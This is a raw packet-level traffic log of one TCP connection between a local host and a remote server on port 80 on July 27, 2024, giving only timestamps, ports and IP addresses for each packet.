Jul 27, 2024 03:19:17.249804020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249810934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249823093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249829054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249840021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249842882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249856949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249865055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249874115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249883890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249891043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249902010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249907017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.249917984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249931097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.249950886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250035048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250076056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250437975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250490904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250663042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250677109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250691891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250706911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250713110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250720024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250741005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250761032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250833035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250849009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250864029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.250873089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250894070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.250917912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.252350092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252365112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252381086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252403021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252414942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.252422094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252429962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.252438068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252454042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.252470970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.252496958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.253521919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253537893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253551960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253566027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253573895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.253582954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253595114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253599882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.253612995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.253624916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.253642082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.253664970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.254935026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.254983902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255023956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255048990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255064011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255068064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255079985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255083084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255096912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255100965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255115032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255119085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255136967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255150080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255296946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255340099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255343914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255368948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255381107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255384922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255402088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255407095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255417109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255422115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255434036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.255435944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255455971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.255472898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256314039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256330013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256345034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256361008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256370068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256371021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256387949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256391048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256405115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256409883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256428003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256431103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256448030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256455898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256467104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256473064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256493092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256504059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256511927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256520987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256537914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256541967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256553888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256555080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256576061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256581068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.256587982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.256624937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303426027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303462029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303503990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303512096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303527117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303546906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303556919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303584099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303590059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303617954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303628922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303653002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.303659916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.303694010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304728031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304761887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304785013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304805994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304811954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304847002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304861069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304881096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304898024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304914951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304922104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304953098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304958105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.304981947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.304995060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.305023909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306107044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306160927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306171894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306205988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306212902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306257963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306266069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306309938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306315899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306349993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306358099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306382895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306392908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306417942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306423903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306452036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306461096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306485891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306494951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306519985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306529999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306555033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306564093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306587934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306598902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306623936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306629896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306665897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306819916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306871891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.306930065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306962967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.306978941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307004929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307013035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307046890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307055950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307080984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307090044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307116032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307122946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307157040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307801008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307853937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307853937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307888985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307897091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307923079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307931900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307957888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.307965994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.307991028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.308000088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.308026075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.308032036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.308067083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337217093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337249041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337281942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337307930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337315083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337326050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337348938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337369919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337383032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337397099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337418079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337425947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337454081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.337460041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.337493896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339232922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339282990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339292049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339319944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339323997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339353085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339361906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339387894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339395046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339428902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339437962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339473009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339479923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339488983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339504004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339509010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339520931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339523077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339540005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339540958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339556932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339559078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339575052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339577913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339590073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339592934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339611053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339628935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339734077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339749098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339771986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339772940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339785099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339788914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339806080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339809895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339822054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339827061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339843035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339845896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339859009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.339864016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339875937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.339895010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.341861963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341877937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341893911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341907978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341912985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.341924906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341933966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.341942072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341959000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.341965914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.341979027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.342004061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343003035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343053102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343075991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343092918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343122005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343132973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343158960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343174934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343190908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343203068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343206882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343215942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343234062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343241930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343822002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343844891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343861103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343875885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343878031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343887091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343892097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343899012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343909025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343916893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343926907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.343929052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343947887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.343959093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.344780922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344830990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.344854116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344871044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344898939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.344909906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344912052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.344926119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344942093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344947100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.344958067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.344959974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344975948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.344986916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345005035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345010042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345756054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345771074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345787048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345802069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345804930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345813990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345818043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345834017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345834017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345843077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345860958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345873117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345899105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345912933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345927954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345937967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345944881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345947027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345958948 CEST	49710	80	192.168.2.6	85.28.47.31
